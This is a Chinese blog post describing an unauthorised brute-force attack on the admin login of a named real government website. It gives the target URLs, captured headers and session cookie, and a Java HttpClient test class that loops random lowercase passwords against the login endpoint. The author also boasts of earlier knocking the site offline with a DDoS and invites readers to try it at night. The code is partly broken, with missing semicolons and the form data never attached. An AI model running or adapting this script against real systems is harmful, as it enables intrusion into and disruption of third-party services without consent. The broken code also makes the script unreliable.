网站安全-java实现小型网站登录破解攻略

周末闲来无事,尝试通过java语言和相关工具实现对于一些安全级别比较低的网站进行后台管理员密码的破解。说是属于攻击,还没那么牛逼,采用这种方式尝试登陆,一个晚上没有关机,生产的随机密码4-6位,为缩小范围,只假定密码设置全为小写字母组成,采用随机生产密码尝试登陆,一个晚上没有成功,第二天起来还在跑。如下是大概需要知道的工具盒步骤及相关Java脚本。

1、web端拦截工具,fiddler,当然也可以使用其它类似的拦截工具,或者浏览器插件



根据服务器响应的头信息可以看到返回响应码200,返回的是一个Javascript重定向,o=2的返回参数大概就是提示密码错误的信息,如下:


之所以选择这个网站,也是无意中看到,其安全性能令人担忧,不但只有一个密码登陆后台,而且那个入口直接爆了,没有用户密码以及验证码等安全措施,观察网站的整体结构,采用asp相关技术,租用服务器,没有做先关安全性保障,用此继续做先关实验吧。

其实浏览器进行HTTP万维网的服务器页面或获取服务,不管采用什么技术、服务器或者中间件,在最上层,也就是应用程序HTTP,外面TCP/IP进行封装和传输,HTTP是无状态应用层协议,所以对于常见的Dos攻击服务器端基本是无能为力,现在基本呢采用的技术就是采用一些中间服务器或者代理服务器在服务端进行软件层面的控制。但是,对于上面的但密码登录做法,开发的那个人基本是脑子进水的那种。


2、java模拟http访问

不管什么语言,只要是有网络功能的,可以socket编程,模拟浏览器行为惊喜访问都是很简单。这里也不从底层写代码,开源嘛,直接该用就用commons-httpclient(网上哪里都有的一个jar包)。相关脚本如下:

/**
 * 
 */
package com.dtsz.model.util.test;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Random;

import junit.framework.TestCase;

import org.apache.commons.httpclient.Header;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpException;
import org.apache.commons.httpclient.HttpStatus;
import org.apache.commons.httpclient.NameValuePair;
import org.apache.commons.httpclient.methods.PostMethod;
import org.junit.Test;

/**
 * 测试客户端请求,文件压缩等功能是否有效
 * 
 * @author xiaoli
 * 
 */
public class HttpGzipTest extends TestCase {

	
	/**
	 * 简单一个破解网站单独密码,当前测试网站  POST http://www.gqxnc.gov.cn/login.asp
	 * @throws IOException 
	 * @throws HttpException 
	 * 
	 */
	@Test
	public void testDDOSCrackPassword() throws HttpException, IOException {
		
		String passWord = "";
		
		String url = "http://www.gqxnc.gov.cn/pd_mima.asp";

		HttpClient httpClient = new HttpClient();
		
		PostMethod postMethod = new PostMethod(url);
		postMethod.setRequestHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
		postMethod.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		postMethod.setRequestHeader("Referer","http://www.gqxnc.gov.cn/login.asp");
		postMethod.setRequestHeader("Host","www.gqxnc.gov.cn");
		postMethod.setRequestHeader("Cookie","ASPSESSIONIDCQCDSQAD=CJDPKHNDAHFPDBJJKPMFICBG");
		postMethod.setRequestHeader("Connection"," Keep-Alive");
		
		
		
		//String [] allPass = getRandomPassword(2, 7, 1000);
		
		do{ 
			String pass = getRandomPassword2();
			
			System.out.println(pass); 
			// 填入各个表单域的值
			NameValuePair[] data = { new NameValuePair("pass", pass), new NameValuePair("Submit", "提交") };
			// 将表单的值放入postMethod中
			//postMethod.setRequestBody(data);
			// 执行postMethod
			int statusCode = httpClient.executeMethod(postMethod);
			
			//System.out.println(" status code:" + statusCode);
			// HttpClient对于要求接受后继服务的请求,象POST和PUT等不能自动处理转发

			if (statusCode == HttpStatus.SC_OK) {
				StringBuffer contentBuffer = new StringBuffer();
				InputStream in = postMethod.getResponseBodyAsStream();
				BufferedReader reader = new BufferedReader(new InputStreamReader(in,
						postMethod.getResponseCharSet()));
				String inputLine = null;
				while ((inputLine = reader.readLine()) != null) {
					contentBuffer.append(inputLine);
					//System.out.println("input line:" + inputLine);
					if(inputLine.indexOf("login.asp?o=2") == -1){
						passWord = pass;
						System.out.println("密码匹配成功:"+passWord); 
					}
					contentBuffer.append("/n");
				}
				in.close();

			} else if (statusCode == HttpStatus.SC_MOVED_PERMANENTLY
					|| statusCode == HttpStatus.SC_MOVED_TEMPORARILY) {
				// 从头中取出转向的地址
				Header locationHeader = postMethod.getResponseHeader("location");
				String location = null;
				if (locationHeader != null) {
					location = locationHeader.getValue();
					System.out.println("The page was redirected to:" + location);
				} else {
					System.err.println("Location field value is null.");
				}
			}
			
		}while(passWord.length()<=00);
			
		System.out.println("没有匹配成功!!");
		
	}
	
	
	public String[] getRandomPassword(int type,int passLength, int count){
		char[] chars = { '0', '1', '2', '3', '4', '5', '6', '7',
		     '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
		     'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
		     'y', 'z', 'A', 'B','C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
		     'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
		     'Z'};    //62个字符集
		//,'!','@','#','$','%','^','&','*','~','|'
		
		String[] passwords = new String[count]
	    Random random = new Random();
	    if(type==1){
		     for (int i = 0; i < count; i++) {
		      StringBuilder password = new StringBuilder("");
		      for (int m = 1; m <= passLength; m++) {
		       password.append(chars[random.nextInt(10)]);
		      }
		      passwords[i] = password.toString();
		     }
	    }
	    else if(type==2){
		     for (int i = 0; i < count; i++) {
		      StringBuilder password = new StringBuilder("");
		      for (int m = 1; m <= passLength; m++) {
		       password.append(chars[random.nextInt(26)+10]);
		      }
		      passwords[i] = password.toString();
		     }
	    }
	    else if(type==3){
		     for (int i = 0; i < count; i++) {
		      StringBuilder password = new StringBuilder("");
		      for (int m = 1; m <= passLength; m++) {

		       password.append(chars[random.nextInt(62)]);
		      }
		      passwords[i] = password.toString();
		     }
	    }
	    else{
	     System.out.println("输入错误!");
	    }
	    return passwords;
	   }
	
	public String getRandomPassword2(){
//		char[] chars = { '0', '1', '2', '3', '4', '5', '6', '7',
//		     '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
//		     'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
//		     'y', 'z', 'A', 'B','C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
//		     'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
//		     'Z'};    //62个字符集
		
		char[] chars = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
			     'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
			     'y', 'z'};    //26个字符集
		//,'!','@','#','$','%','^','&','*','~','|'
		Random random1 = new Random();
		int count = random1.nextInt(6)+4;
		
		String rpasswords = "";
    	Random random = new Random();
	    for (int i = 0; i < count; i++) {
	      StringBuilder password = new StringBuilder("")
	      for (int m = 1; m <= count; m++) {
	       password.append(chars[random.nextInt(26)]);
	      }
	      rpasswords = password.toString();
	    }
	    return rpasswords;
	   }


}

相关的header头信息使用上面的相关工具直接获取填进去就可以。


基本思路大概没错,虽然缩小范围只在小写字母内拼密码串进行登录操作,但是使用的随机方式,26六选4-10个,比中奖还难,虽然计算机比较快,一个晚上的尝试,也没有匹配到正确密码,可能它里设置的唯一密码还包括数字和大写字母之类吧。


不过有时间可以写一个完全遍历的串的密码生产算法,多开几个线程进程,总有机会匹配到的。


3、说明:

写这篇博客和使用这个网站来做例子有以下几个目的:

(1)、记得前一个版本用jsp和Java相关技术做的是我们在学校的工作小组完成,比现在换用asp做的至少安全性、可用性好多了,换了实在可惜

(2)、网站安全性当前在互联网中比较重要,一些政府机构做的有点滥竽充数的味道

(3)、希望从这一点告诫看到的同志们,做东西没那么随便,多考虑点东西进去。


注:各位要玩的话,最好在晚上进行吧,之前采用ddos攻击直接把这个网站的服务弄停了,也是在夜深人静的和时候,怎么说,程序员要操守职业道德。




  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值